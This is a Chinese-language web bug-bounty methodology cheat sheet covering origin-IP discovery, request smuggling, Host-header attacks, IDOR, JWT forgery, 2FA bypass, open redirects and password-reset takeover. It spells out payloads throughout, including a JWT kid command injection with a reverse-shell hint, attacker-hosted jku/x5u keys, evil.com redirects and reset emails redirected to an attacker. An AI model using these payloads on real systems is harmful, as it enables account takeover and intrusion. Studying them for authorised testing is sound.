一旦拥有了这些 Web 服务器的IP列表后，下一步就是检查其中一个服务器上的受保护域是否配置为虚拟主机

Censys

在选择输入中选择Certificates，提供目标域，然后点击\
你应该会看到适合你目标的证书列表
单机每个结果以显示详细信息，然后在最右侧的Explore菜单中选择IPv4 Hosts
你应该能够看到使用证书的服务器的IP地址
从这里开始，获取所有可能的IP，然后回到上一节，尝试通过所有这些IP访问你的目标：

1
curl -s -k -H "Host: 0x00sec.org" https://<ip address>/

邮件头

下一步是检索目标发出的邮件中的标题：订阅新闻通讯、创建账户、使用“忘记密码”功能、订购某些东西……简而言之，尽一切努力从你正在测试的网站获取电子邮件
收到电子邮件后，请检查来源，尤其是标题。记录你可以在那里找到的所有IP，以及可能属于托管服务的子域。然后，再次尝试通过所有这些来访问你的目标。
The value of header Return-Path worked pretty well

GraphQL

Videos

GraphQL Video - InsiderPhd
REST in Peace: Abusing GraphQL to Attack Underlying Infrastructure - LevelUp 0x05

Blogs

Exploit GraphQL - Yeswehack Blog
Hacking GraphQL - Part1 Part2
That single GraphQL issue that you keep missing
Reverse engineer a GraphQL API
Exploit GraphQL
GraphQL Resources Thread

Tools

GraphQL Voyager
GraphQL Cheatsheet
AutoGraphQL
graphw00f
InQL - Introspection GraphQL Scanner

Labs

Damn-Vulnerable-GraphQL-Application

HTTP 走私漏洞（HTTP_Desync Attack）

基础概念

HTTP 请求夹带攻击是一种干扰站点处理从一个或多个用户接收 HTTP 请求队列的技术。请求夹带攻击通常十分严重，它允许攻击者绕过安全控制、未经授权访问敏感数据并直接危害其他应用程序用户。

攻击位置

任何端点都有可能受到 HTTP 走私攻击（数据接收不同步攻击）
你也可以在非端点上寻找漏洞，但敏感端点收到的影响明显更高

  • 第一步：
    利用 Burpsuite 的 Repeater 模块，尝试寻找各种基于时间的 payload 去确认漏洞是否存在：Find the Vulnerability

  • 第二步：
    一旦你成功发现了 BUG，你可以尝试用任何 EXP 链接它，如通过窃取会话 id 接管账户，在 User-Agent Header 使用 XSS 攻击等：Exploiting the Vulnerability

实用工具

defparam’s_smuggler.py

1
2
3
4
5
Usage:
Smuggler.py :
cat alive_urls.txt | python3 smuggler.py -m GET/POST #either GET or POST
OR
python3 smuggler.py -u https://example.com -m GET/POST

Burp_smuggler

Topics

Protocol Layer Attack - HTTP Request Smuggling
HTTP Desync Attacks: Request Smuggling Reborn
HTTP request smuggling

Reports

Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies
HTTP request Smuggling
Password theft login.newrelic.com via Request Smuggling
Request smuggling on ████████
Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com
HTTP SMUGGLING EXPOSED HMAC/DOS
Multiple HTTP Smuggling reports
Request smuggling on admin-official.line.me could lead to account takeover

Writeups

The Powerful HTTP Request Smuggling
HTTP Request Smuggling in Plain English
Write up of two HTTP Requests Smuggling
Crossing The Borders : The illegal trade of HTTP requests

Extra

HTTP Request Smuggling mass account takeover

Host-Header Attack

Host Header 摘要

image

在测试试也要注意这些

1.在请求中再添加一个 Host:
2.尝试加入这些 Header：

1
2
3
4
5
X-Original-Url:
X-Forwarded-Server:
X-Host:
X-Forwarded-**Host**:
X-Rewrite-Url:

3.如果你在任何 AEM 实例中查找攻击点时，遇到api.json，可以通过以下 Header 尝试 Web 缓存中毒：

1
2
3
4
Host:
X-Forwarded-Server:
X-Forwarded-Host:
https://localhost/api.json HTTP/1.1

4.也可以试试 Host: redacted.com.evil.com
5.试试 Host: evil.com/redacted.com Account Takeover in Periscope TV
6.再来 Host: example.com?.mavenlink.com
7.还可以试试 XSS Host: javascript:alert(1); XSS via Host header - www.google.com/cse
8.Host Header to Sqli
9.绕过前端服务器限制并且可以访问隐藏的文件目录：

1
X-Rewrite-Url/X-original-url: curl -i -s -k -X 'GET' -H 'Host: <site>' -H 'X-rewrite-url: admin/login' 'https://<site>/'

HTML-Injection

摘要

密码重置链接通常指向你的帐户名称，后跟重置链接。如果应用程序允许你使用带有标签或特殊字符的帐户名，或许你该尝试以下注入。

步骤

1.创建你的帐户
2.将你的姓名编辑为 <h1>attacker</h1> 或 "abc><h1>attacker</h1> 并且保存它
3.发起一个重置密码请求并且在你的邮箱中验证
4.你将会发现 <h1> 标签被解析了

  • HTML注入通常被认为只是低到中的威胁，但是你可以通过使用 href 来增加严重性：
  • <h1>attacker</h1><a href="your-controlled-domain"Click here</a>
  • 你可以将用户重定向到恶意域，并提供伪造的重置密码页面以窃取凭据，还可以提供 XSS 页面并窃取用户 cookie 等

IDOR

IDOR

  • IDOR 的核心是一种访问控制漏洞，其中应用程序依赖于用户提供的输入来直接引用对象。在这种情况下，对象可以是图片、帖子评论、与用户甚至组织内整个部门关联的个人身份信息（PII）
  • 当应用程序根据用户提供的输入提供对象的直接访问时，会发生不安全的直接对象引用。通过此漏洞，攻击者可以直接绕过授权并访问系统中的资源，例如数据库记录或文件。不安全的直接对象引用允许攻击者通过修改用于直接指向对象的参数值来绕过授权并 直接访问资源。此类资源可以是属于其他用户的数据库条目、系统中的文件等。
  • IDOR 可以存在于整个应用程序中，因此建议你如果看到ID就测试一下，即使是 guid 或某种类型的“加密ID”。寻找此ID的潜在泄露（public profile），或寻找遍历点，看看能否利用 Burpsuite Intruder 进行测试。

你可能发现的 IDOR 类型

1.参数值直接用于检索数据库记录：http://foo.bar/somepage?invoice=12345
2.参数值直接用于在系统中执行操作：http://foo.bar/changepassword?user=someuser
3.参数值直接用于检索文件系统资源：http://foo.bar/showImage?img=img00011
4.参数值直接用于访问应用程序功能：http://foo.bar/accessPage?menuitem=12

测试 IDOR - （手动方法）

基本步骤：
1.如果可以的话，先创建两个帐户，或枚举用户；
2.查看终端节点是私有的还是公共的，是否包含任何类型的 id 类参数；
3.尝试更改此参数值为其他用户的参数值，看看是否能以其他用户的身份进行操作。

Test-1：将 id 参数添加到没有 id 的请求

1
2
3
GET /api/MyPictureList → /api/MyPictureList?user_id=<other_user_id>

你可以通过删除或编辑其他对象并查看使用的参数名称来寻找要尝试修改或添加的参数名称

Test-2:尝试替换参数名称

1
2
3
4
5
6
7
Instead of this:
GET /api/albums?album_id=<album id>

Try This:
GET /api/albums?account_id=<account id>

有一个名为 Paramalyzer 的 Burp 拓展，可以通过记住你传递给服务器的所有参数来方便修改

Test-3：为同一个参数提供多个值

1
2
3
4
5
6
7
Instead of this:
GET /api/account?id=<your account id> →

Try this:    
GET /api/account?id=<your account id>&id=<admin's account id>

这也是 HTTP 参数污染的一种，这样的操作可能会让你访问管理员帐户

Test-4：在测试 id 类参数时尝试更改 HTTP 的请求方法

1
2
3
4
5
6
7
Instead of this:
POST /api/account?id=<your account id> →

Try this:    
PUT /api/account?id=<your account id>

尝试切换 POST 和 PUT，看看是否可以将内容上传到其他用户的个人资料，对于 RESTful 服务，请尝试将 GET 更改为 POST/PUT/DELETE 以进行创建/更新/删除操作

Test-5：尝试更改请求的内容类型

1
2
3
4
5
6
7
Instead of this:
POST /api/chat/join/123 […] Content-type: application/xml → test

Try this:
POST /api/chat/join/123 […] Content-type: application/json {“user”: “test”}

访问控制在不同内容类型中的实施可能不一致。不要忘记尝试替换或使用不太常见的值，如 text/xml、text/x-json 等

Test-6：尝试更改请求的文件类型（测试是否为Ruby）

1
2
3
4
5
6
7
Example:

GET /user_data/2341 --> 401 Unauthorized

GET /user_data/2341.json --> 200 OK

通过附加不同的文件扩展名（e.g. .json, .xml, .config）在文件请求的末尾

Test-7：应用是否要求非数字 id？将其改为数字 id

1
2
3
4
5
6
7
可能有多种方法引用数据库中的对象，并且应用程序仅对一种对象进行访问控制
在接受非数字 id 的任何地方尝试使用数字 id：
Example:

username=user1 → username=1234
account_id=7541A92F-0101-4D1E-BBB0-EB5032FE1686 → account_id=5678
album_id=MyPictures → album_id=12

Test-8：尝试使用数组

1
2
3
如果常规 id 替换不起作用，请尝试将 id 包装在数组中，看看是否可以达成操作：

{“id”:19} → {“id”:[19]}

Test-9：通配符 id

1
2
3
尝试将 id 参数值替换为通配符，你可能会幸运地得到什么：

GET /api/users/<user_id>/ → GET /api/users/*

Test-10：注意新功能

1
2
3
4
5
如果你偶然发现 Web 应用中新添加的功能（如即将举行的活动中含有上传个人资料图片的功能），可能会执行 API 调用：

/api/CharityEventFeb2021/user/pp/<ID>

应用程序可能不会像对核心功能那样严格地强制实施此新功能的访问控制

IDOR - 自动测试方式：
Finding Broken Access Controls
PimpMyBurp #1 - PwnFox + Autorize: The perfect combo to find IDOR - Global Bug Bounty Platform
Automating BURP to find IDORs

参考
Everything You Need to Know About IDOR (Insecure Direct Object References)
Finding more IDORs - Tips and Tricks | Aon
KathanP19/HowToHunt
Learn about Insecure Object Reference (IDOR) | BugBountyHunter.com
WSTG - v4.2
IDOR (Insecure Direct Object Reference)
What I learnt from reading 220* IDOR bug reports.

Medium 报告：
Full account takeover worth $1000 Think out of the box
All About Getting First Bounty with IDOR
IDOR that allowed me to takeover any users account.
All About IDOR Attacks
Access developer tasks list of any of Facebook Application (GraphQL IDOR)

Tips

1
2
3
4
5
6
7
8
9
10
11
12
#1 https://twitter.com/M0_SADAT/status/1361289751597359105
Looking for high impact IDOR?
Always try to find the hidden parameters for this endpoints using Arjun and Parameth
/settings/profile
/user/profile
/user/settings
/account/settings
/username
/profile
And any payment endpoint

Pro tip: Don’t forget to try create/update/delete operations on objects that are publicly readable but shouldn’t be writable. Can you PUT to /api/products and change a price?

JWT Attack

介绍

  • JWT 最常用于授权。

  • JSON Web 令牌 （JWT） 是一种标准化格式，用于在双方之间安全地交换数据。

  • 它是紧凑的、可读的，并且由身份提供者 （IdP） 使用私钥/或公钥对进行数字签名。因此，令牌的完整性和真实性可以由其他相关方进行验证。

  • 使用 JWT 的目标不是隐藏数据，而是确保数据的真实性。JWT 是经过签名和编码的，而不是加密的。

  • JWT 是一种基于令牌的无状态身份验证机制。由于它是客户端无状态会话，因此服务器不必仅依靠数据存储（数据库）来保存会话信息。

  • 它由三个要素组成：header.payload.signature

    1. 标头 - JWT 标头由用于签名和编码的令牌类型和算法组成。算法可以是HMAC，SHA256，RSA，HS256或RS256。
    2. 有效负载 - 这也是一个 JSON 对象，用于存储用户的信息，如 ID、用户名、角色、令牌生成时间和其他自定义声明。
    3. 签名 - JSON Web 令牌最关键的方面是其签名 （JWT）。签名是通过使用 Base64url 编码对标头和有效负载进行编码并使用句点分隔符 （.）。此信息随后传递到加密算法。因此，如果标头或有效负载发生更改，则必须再次计算签名。只有身份提供程序 （IdP） 有权访问用于生成签名的私钥，这禁止令牌操作。

  • JWT 可以使用称为对称和非对称加密的两种加密机制生成：

    • 对称：此机制需要单个密钥来创建和验证 JWT。这种类型的最常见算法是HS256。
    • 非对称：此机制需要公钥进行验证，需要私钥对签名进行签名。这种类型的最常见算法是RS256。

  • 密钥 ID（kid）是具有字符串类型的可选标头，用于标识文件系统或数据库中的特定密钥，然后使用其内容验证签名。如果应用程序具有多个用于对令牌进行签名的密钥，则此参数很有用，但如果它是可注入的，则可能会出现问题，因为攻击者可以引用具有可预测内容的特定文件。

  • 除了密钥 ID 之外，JSON Web 令牌标准还为开发人员提供了通过 URL 指定密钥的能力。

    • 令牌标头包含版本（“ver”）声明。它包含所使用的 JWT 令牌库的版本。

    • jku 标头参数 - JKU 是“JWK Set URL”的缩写。它是一个可选的标头字段，用于指定引用验证令牌所需的密钥集合的 URL。如果未正确控制此字段且允许此字段，则攻击者可能会托管自己的密钥文件，并声明应用程序使用它来验证令牌。

    • jwk 标头参数 - 可选的 JWK（JSON Web 密钥）标头参数允许攻击者将用于验证令牌的密钥直接嵌入到令牌中。

    • x5u 和 x5c 标头参数 - x5u 和 x5c 标头参数（如 jku 和 jwk 标头）允许攻击者定义用于验证令牌的公钥证书或证书链。 x5u 以 URI 形式定义信息，而 x5c 允许将证书数据合并到令牌中。

    • x5t 参数 - “x5t”（x.509 证书指纹）标头参数返回 X.509 证书的 DER 编码的 base64url 编码的 SHA-256 指纹（即摘要），可用于匹配证书。结果，它相当于密钥标识符或孩子声明！！

  • 在有效负载部分，你可能还会发现：

    • JTI 参数 - 用于防止对 JWT 的重放攻击
    • iss 参数 - 发行令牌的实体的名称
    • iat 参数 - 标识 JWT 令牌的发行时间
    • nbf 参数 - 标识不得接受 JWT 令牌进行处理的时间
    • exp 参数 - 标识过期时间，在此时间或之后不得接受 JWT 进行处理
    • aud(audience) 声明 - 标识 JWT 的目标接收者

工作流程

  • 基本上，身份提供者（IdP）生成一个 JWT 证明用户身份，资源服务器使用秘密盐/公钥解码并验证令牌的真实性。
1
2
3
4
1. User sign-in using username and password or google/facebook.
2. Authentication server verifies the credentials and issues a jwt signed using either a secret salt or a private key.
3. User’s Client uses the JWT to access protected resources by passing the JWT in HTTP Authorization header.
4. Resource server then verifies the authenticity of the token using the secret salt/ public key.

image

工具

GitHub - ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens

GitHub - hahwul/jwt-hack: 🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)

GitHub - mazen160/jwt-pwn: Security Testing Scripts for JWT

GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

GitHub - jmaxxz/jwtbrute: Brute forcing jwt tokens signed with HS256 since 2014

GitHub - Sjord/jwtcrack: Crack the shared secret of a HS256-signed JWT

JSON Web Tokens

JSON Web Token Attacker

GitHub - wallarm/jwt-heartbreaker: The Burp extension to check JWT (JSON Web Tokens) for using keys from known from public sources

JWTweak

攻击 JWT

1
2
3
4
5
6
7
8
9
10
11
12
Base Methodology:

1. Find JWT tokens
	- We can use Regex to search in proxy history 
		"[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*"
		"[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*"
2. Identify a test page
	- Find a request of the page with JWT token which gives clear reponse if valid Ok else other reponse
		Profile page is a good start
3. Check that your test cases work
	- Send the request to repeater and check if same token works again else token might have expired
	- Now start testing different attacks.

检查 JWT 中的敏感数据

1
2
3
4
5
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Switch to JSON Web Token Tab 
4. Check if any user info or any sensitive info is there in payload section.
5. Done!

无算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Switch to JSON Web Token Tab or JOSEPH which also contains bypass
4. Change "alg:" to none "alg:none"  
		{
		  "alg": "none",
		  "typ": "JWT"
		}
5. Change the Payload and edit the signature to empty
		Signature = ""
6. Forward the Request. Done!

Using JWT_Tool.
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Use Below command to get different bypass payload to try , replace <JWT> with your JWT token.
		"python3 jwt_tool.py <JWT> -X a"
4. Use Different Payloads Generated by tool in your request, see if any of it works.
5. Change you Payload value to desire with the token that worked and Done!

将算法从 RS256 更改为 HS256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Note: This Attack will convert the workflow from Asymmetric to Symmetric encryption and now we can sign the new tokens with the same public key.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Get the Public key from the Application (pubkey.pem file) using below commands.
		"openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem"
		"openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem"
																OR
		"openssl s_client -connect zonksec.com:443 | openssl x509 -pubkey -noout"
4. Then use below command to generate JWT token.
		"python3 jwt_tool.py <JWT> -S hs256 -k pubkey.pem"
5. Use the generated token in the request and try changing payload.
6. Done, Forward the request.

* This will work when web app support both algorithm.

签名未经过检查

1
2
3
4
5
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Tab or JOSEPH.
4. Change Payload section and Remove the Signature completely or try changing somecharacters in signature
5. Done, Forward the Request.

破解私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. If JWT-Heartbreaker Plugin is installed then weak secret-key will directly be shown to you.
																			OR
3. Copy JWT Token and store it in a text file then usse Hashcat to crack the Secret key using below command.
		"hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --force" 
		"hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --show" //this will show cracked secret-key
																			OR
3. Use Jwt_Tool to crack the secret key using below command:
			"python3 jwt_tool.py <JWT> -C -d secrets.txt"
4. Now Use the Secret key to forge the request using jwt.io or jwt_tool with option "-p"
5. Done, Use the generated token in request and forward the request.

* You can also find any leaking secret key in jwt.json config file.

使用 JWT 令牌中的 kids 进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Use arbitrary files to verify
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. If there is kid in header section of JWT_token then forge a new JWT token using jwt_tool
		'python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""' 
* Alternatively, we may utilise the content of any file in the web root, such as CSS or JS, to validate the Signature.
		'python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"'
4. Manipulate payload section and now use the generated token in request.
5. Done, Forward the Request. 

SQL injection
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Plugin tab and manipulate kid with sqli payload.
4. You can try SQLi not only in kid but in any field of payload section.
		"python3 jwt_tool.py <JWT> -I -pc name -pv "admin' ORDER BY 1--" -S hs256 -k public.pem"
5. Done, Forward the request and escalate sqli further.

Command injection
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Plugin tab and manipulate kid with os commands payload.
	"kid: key.crt; whoami && python -m SimpleHTTPServer 1337 &"
4. Now use the forged JWt token in request
5. Check if you can connect to the server on port 1337 or instead use reverse shell in payload and check if you get connection back
6. DOne

伪造Header参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
JSON Set URL (jku)
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents jku attribute in Header section
4. Generate you Public and Private Key pair using below commands:
		"openssl genrsa -out keypair.pem 2048"
		"openssl rsa -in keypair.pem -pubout -out publickey.crt"
		"openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key"
	8 it will generate Public Key - "publickey.crt" & Private Key - "pkcs8.key"
5. Use Jwt.io and paste the public key (publicKey.pem) and the private key (attacker.key) in their respective places in the "Decoded" section.
6. Host the generated certificate locally and modify the jku header parameter accordingly.
7. Retrieve the jwks.json file from the URL present in the jku header claim
		"wget http://example.com:8000/jwks.json"
8. Make a Python script "getPublicParams.py":
		from Crypto.PublicKey import RSA

		fp = open("publickey.crt", "r")
		key = RSA.importKey(fp.read())
		fp.close()

		print "n:", hex(key.n)
		print "e:", hex(key.e)
9. Run python script "python getPublicParams.py"
10. Update the values of n and e in local jkws.json
11. Hosting the JWK Set JSON file using repl.it or any server
12. Manipulate the payload section and copy the generated jwt token from jwt.io
13. Done, change the JWT token in our request and Forward!

x5u Claim Misuse:
Note: The algorithm used for signing the token is “RS256”.
The token is using x5u header parameter which contains the location of the X.509 certificate to be used for token verification.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents x5u attribute in Header section.
4. Creating a self-signed certificate
			"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt"
5. Extracting the public key from the generated certificate:
			"openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem"
6. Use Jwt.io and paste the public key (publicKey.pem) and the private key (attacker.key) in their respective places in the "Decoded" section.
7. Set "x5u: http://192.87.15.2:8080/attacker.crt" you can use repl.it to host
8. Done Use forged jwt token in request.

x5c Claim Misuse:
Note:The algorithm used for signing the token is “RS256”.
The token is using x5c header parameter which contains the X.509 certificate to be used for token verification.
The token has various fields: n, e, x5c, x5t, kid. Also, notice that kid value is equal to x5t value.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents x5c attribute in Header section.
* https://jwt.io automatically extracts the X.509 certificate and places it in the “Verify Signature” sub-section in “Decoded” section.

4. Create a self-signed certificate:
		"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt"
5. Extracting RSA public key parameters (n and e) from the generated certificate
		"openssl x509 -in attacker.crt -text"
6. Converting modulus (n) to base64-encoded hexadecimal strings
		"echo "Modules (n) value will be here"| sed ‘s/://g’ | base64 | tr ‘\n’ ‘ ‘ | sed ‘s/ //g’ | sed ‘s/=//g’"
7. Converting exponent (e) to base64-encoded hexadecimal strings
		"echo "exponent (e) here" | base64 | sed ‘s/=//g’"
8. Finding the new x5c value
		"cat attacker.crt | tr ‘\n’ ‘ ‘ | sed ‘s/ //g’"
9. Copy the contents excluding the — -BEGINCERTIFICATE — — and — — ENDCERTIFICATE — — part.
8. Finding the new x5t value
		"echo -n $(openssl x509 -in attacker.crt -fingerprint -noout) | sed ‘s/SHA1 Fingerprint=//g’ | sed ‘s/://g’ | base64 | sed ‘s/=//g’"
* Note: The kid parameter would also get the same value as x5t parameter.
9. Creating a forged token using all the parameters calculated in the previous step.
10. Visit https://jwt.io and paste the token retrieved in Step 3 in the “Encoded” section.
11. Paste the X.509 certificate (attacker.crt) and the private key (attacker.key) in their respective places in the “Decoded” section.
12. Manipulate Payload section and copy the forged token
13. Replace the forged token in the request and forward. Done!!

其他攻击

Key Database Mismanagement

Hacking JWT Tokens: Key Database Mismanagement

Verification Key Mismanagement

Hacking JWT Tokens: Verification Key Mismanagement

Hacking JWT Tokens: Verification Key Mismanagement II

Hacking JWT Tokens: Verification Key Mismanagement III

Hacking JWT Tokens: Verification Key Mismanagement IV

Vulnerable Key Generator

Hacking JWT Tokens: Vulnerable Key Generator

Transaction Replay

Hacking JWT Tokens: Transaction Replay

Hacking JWT Tokens: Transaction Replay II

JWS Standard for JWT

Hacking JWT Tokens: JWS Standard for JWT

Hacking JWT Tokens: JWS Standard for JWT II

Bypassing NBF Claim

Hacking JWT Tokens: Bypassing NBF Claim

Special Version Claim

Hacking JWT Tokens: Special Version Claim

Cross Service Relay Attack — Missing audience claim

Hacking JWT Tokens: Cross Service Relay Attack -  Missing audience claim

Cross Service Relay Attack — Misconfigured audience claim

Hacking JWT Tokens: Cross Service Relay Attack - Misconfigured audience claim

Client Side Token Decode

Hacking JWT Tokens: Client Side Token Decode

快捷方式

1
2
3
4
1. Copy Jwt token from the request
2. Use Jwt_Tool : https://github.com/ticarpi/jwt_tool
3. use command : python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" -rh "Authorization: Bearer eyJhbG...<JWT Token>"
4. Check for green line

思维导图

image

参考引用

Labs:

TokenLab : JWTLabs

https://github.com/h-a-c/jwt-lab

GitHub - Sjord/jwtdemo: Practice hacking JWT tokens

Write-ups & Reports:

CTFtime.org / Union CTF 2021 / Cr0wnAir / Writeup

Web - JWT - Cr0wnAir - Union CTF Walkthrough

Exploiting JWT to Account Takeover

The Bad Twin: a peculiar case of JWT exploitation scenario

Hijacking accounts by retrieving JWT tokens via unvalidated redirects

Mail.ru disclosed on HackerOne: smena.samokat.ru Predictable JWT…

Trint Ltd disclosed on HackerOne: Insecure Zendesk SSO…

HackerOne disclosed on HackerOne: HackerOne Jira integration plugin…

Hacking JWT Tokens: “kid” Claim Misuse - Command Injection

Hacking JWT Tokens: Blind SQLi

Hacking JWT Tokens: jku Claim Misuse

Blogs:

Attack Methodology · ticarpi/jwt_tool Wiki

Attacking JSON Web Tokens (JWTs)

JSON Web Token Exploitation for Red Team

https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a

JWT Hacking 101

Attacking JWT authentication

How JSON Web Token(JWT) authentication works?

Attacks on JSON Web Token (JWT)

Get a Feel of JWT ( JSON Web Token )

Hacker Tools: JWT_Tool - The JSON Web Token Toolkit - Intigriti

Video:

How to Exploit “Json Web Token”(JWT) vulnerabilities | Full Practical

ATTACKING JWT FOR BEGINNERS!

Tips:
1
2
By @MrTuxracer
If you were able to crack a JWT secret key but there are still some unguessable parameters in the payload just like a UUID, try sending an empty payload instead. This granted me admin rights more than once.

image

MFA Bypass

2FA 绕过思维导图

image

来源

https://twitter.com/hackerscrolls/status/1256276376019230720

MindMap

2FA Bypass

  • 1：- 密码重置禁用 2FA

  • 2：- 无速率限制

  • 3: - 发送所有字母而不是数字

  • 4：- 状态代码操作

  • 5: - 通过替换另一个账户会话中的部分请求来绕过 2FA。

    If a parameter with a specific value is sent to verify the code in the request, try sending the value from the request of another account.

    For example, when sending an OTP code, the form ID/user ID or cookie is checked, which is associated with sending the code. If we apply the data from the parameters of the account on which you want to bypass code verification (Account 1) to a session of a completely different account (Account 2), receive the code and enter it on the second account, then we can bypass the protection on the first account. After reloading the page, 2FA should disappear.

  • 6：- 使用“记忆”功能绕过 2FA。

    Many sites that support 2FA, have a “remember me” functionality. It is useful when the user doesn’t want to enter a 2FA code on subsequent login windows. And it is important to identify the way in which 2FA is “remembered”. This can be a cookie, a value in session/local storage, or simply attaching 2FA to an IP address.

  • 7: - 响应中的 OTP 泄漏

  • 8：- 通过 OAuth 机制绕过 2fa（大多数不适用）

    1
    Site.com requests Facebook for OAuth token > Facebook verifies user account > Facebook send callback code > Site.com logs a user in (Rare case)

  • 9：- 使用响应操作绕过 2fa

    1
    Enter correct OTP -> Intercept & capture the response -> logout -> enter wrong OTP -> Intercept & change the response with successful previous response -> logged in

  • 10：- 2FA 禁用功能上的 CSRF。

    1
    Signup for two account -> Login into attacker account & capture the disable 2FA request -> generate CSRF POC with .HTML extension -> Login into victim account and fire the request — — -> It disable 2FA which leads to 2FA Bypass.

  • 11：- 通过添加 null 或 000000 绕过 2FA

  • 12：- 通过 Batch API 请求绕过 2FA

    Suppose if 2FA parameter like “code” of “OTP” is going with the request, add same parameter into the request multiple times like BATCH Mode for REST APi.

  • https://twitter.com/FaniMalikHack/status/1402627994833805313

OAuth

开放认证思维导图

image

来源

开放重定向（Open Redirection）

查找 OpenRedirect 技巧

“我每次测试 Web 应用程序时都会应用此方法，并发现许多开放重定向，甚至使用此技巧的 XSS！”

Step

  1. 如果应用程序具有用户登录/注册功能，则注册用户并以该用户身份登录。

  2. 转到您的用户个人资料页面，例如：samplesite.me/accounts/profile

  3. 复制个人资料页面的 URL

  4. 注销并清除所有 cookie，然后转到网站主页。

  5. 将复制的个人资料 URL 粘贴到地址栏上

  6. 如果网站提示登录，请检查地址栏，您可能会发现带有重定向参数的登录页面，如下所示

  1. 尝试通过添加外部域并加载精心设计的 URL 来利用该参数，例如：- https://samplesite.me/login?next=https://evil.com/（或）[https://samplesite.me/login ?next=https://samplesite.me@evil.com/](https://samplesite.me/login?next=https://samplesite.me@evil.com/) #（可能需要绕过正则表达式的过滤）

  2. 如果它重定向到evil.com，那就是你的开放重定向错误。

  3. 尝试利用它来进行 XSS，例如：- https://samplesite.me/login?next=javascript:alert(1);//

OpenRedirect 绕过

我在进行渗透测试时在应用程序中发现了这种绕过方式。我希望它也能帮助你！

  1. 当你尝试重定向https://targetweb.com?url=http://attackersite.com时，它没有重定向！
  2. 我使用 www.targetweb.com.attackersite.com 创建了一个新的子域
  3. 当我尝试使用https://targetweb.com?url=www.targetweb.com.attackersite.com重定向时
  4. 它将成功重定向到 www.targetweb.com.attackersite.com 网站！
  5. 由于正则表达式错误，它已成功绕过他们的保护！

社交分享按钮中的参数污染（Parameter Pollution）

大家好，虽然这不是严重的错误，但仍然有一些组织认真对待这个问题。

Step

1
2
3
4
5
6
7
8
9
10
11
12
1.Browse through your target.
  say https://target.com
2.Find a article or blog present on target website which must have a link to share that blog on different social networks such as
  Facebook,Twitter etc.
3.Let's say we got and article with url:
  https://taget.com/how-to-hunt 
  then just appened it with payload ?&u=https://attacker.com/vaya&text=another_site:https://attacker.com/vaya
  so our url will become 
  https://taget.com/how-to-hunt?&u=https://attacker.com/vaya&text=another_site:https://attacker.com/vaya
4.Now hit enter with the abover url and just click on share with social media.
  Just observe the content if it is including our payload i.e. https://attacker.com
  Then it is vulnerable or else try next target.

参考

密码重置功能（Password Reset Functionality）

密码重置思维导图

image

来源

密码重置令牌泄露

1
2
3
4
5
6
Steps:
1.Sent a password reset request using forget password
2.Check your email 
3.copy your reset page link and paste in another tab and make burp intercept on.
4.Look for every request if you find similiar token that is in reset link with other domain like: bat.bing.com or facebook.com
5.Than there is reset password token leakage.

通过密码重置功能接管帐户

1
2
3
4
5
1. email= victim@gmail.com&email=attacker@gmil.com
2. email= victim@gmail.com%20email=attacker@gmil.com
3. email= victim@gmail.com |email=attacker@gmil.com
4. email= victim@gmail.com%0d%0acc:attacker@gmil.com
5. email= victim@gmail.com&code= my password reset token

速率限制绕过（Rate Limit）

有两种方法可以做到这一点

  • 自定义 HTTP 方法

  • 向欺骗 IP 添加标头

自定义HTTP方法

  • 如果请求继续 GET 尝试将其更改为 POST、PUT 等，

  • 如果你想绕过 API 中的速率限制，请尝试 HEAD 方法。

使用标头绕过速率限制

在主机标头下方使用以下标头

1
2
3
4
5
6
7
8
9
10
11
X-Forwarded-For: IP
